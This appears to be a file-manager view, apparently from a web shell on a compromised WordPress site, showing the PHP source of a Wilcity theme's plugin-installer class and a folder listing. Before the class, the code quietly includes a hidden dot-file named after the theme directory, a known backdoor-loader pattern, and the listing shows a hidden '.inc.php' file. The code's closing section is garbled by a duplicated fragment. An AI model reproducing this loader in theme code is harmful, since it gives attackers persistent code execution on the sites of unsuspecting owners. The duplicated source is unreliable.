PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wilcity
/
admin
/
inc
<?php /** * WilokeInstallPlugins Class * * @category plugins * @package Wiloke Framework * @author Wiloke Team * @version 1.0 */ if ( !defined('ABSPATH') ) { exit; } if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class WilokeInstallPlugins { public $aSelfConfig = array( 'id' => 'tgmpa', // Unique ID for hashing notices for multiple instances of TGMPA. 'default_path' => '', // Default absolute path to bundled plugins. 'menu' => 'tgmpa-install-plugins', // Menu slug. 'parent_slug' => 'themes.php', // Parent menu slug. 'capability' => 'edit_theme_options', // Capability needed to view plugin install page, should be a capability associated with the parent menu used. 'has_notices' => true, // Show admin notices or not. 'dismissable' => true, // If false, a user cannot dismiss the nag message. 'dismiss_msg' => '', // If 'dismissable' is false, this message will be output at top of nag. 'is_automatic' => false, // Automatically activate plugins after installation or not. 'message' => '' ); public function __construct() { $this->run(); } /** * Install Plugins */ public function run() { global $wiloke; if ( isset($wiloke->aConfigs['install_plugins']) && current_user_can( 'activate_plugins' ) ) { require_once WILOKE_INC_DIR . 'lib/tgm-plugin/class-tgm-plugin-activation.php'; add_action('tgmpa_register', array($this, 'register_plugins')); } } public function register_plugins() { global $wiloke; tgmpa( $wiloke->aConfigs['install_plugins'], $this->aSelfConfig ); } }/class-tgm-plugin-activation.php'; add_action('tgmpa_register', array($this, 'register_plugins')); } } public function register_plugins() { global $wiloke; tgmpa( $wiloke->aConfigs['install_plugins'], $this->aSelfConfig ); } }
[+]
..
[-] class.WilokeThemeOptions.php
[edit]
[-] class.WilokeMetaboxes.php
[edit]
[-] .inc.php
[edit]
[-] class.WilokeContactForm7.php
[edit]
[-] class.WilokeInstallPlugins.php
[edit]
[+]
lib
[+]
redux-extensions
[-] class.WilokeMessage.php
[edit]
[-] class.WilokeSocialNetworks.php
[edit]
[-] class.WilokeNavMenu.php
[edit]
[-] class.WilokeLoader.php
[edit]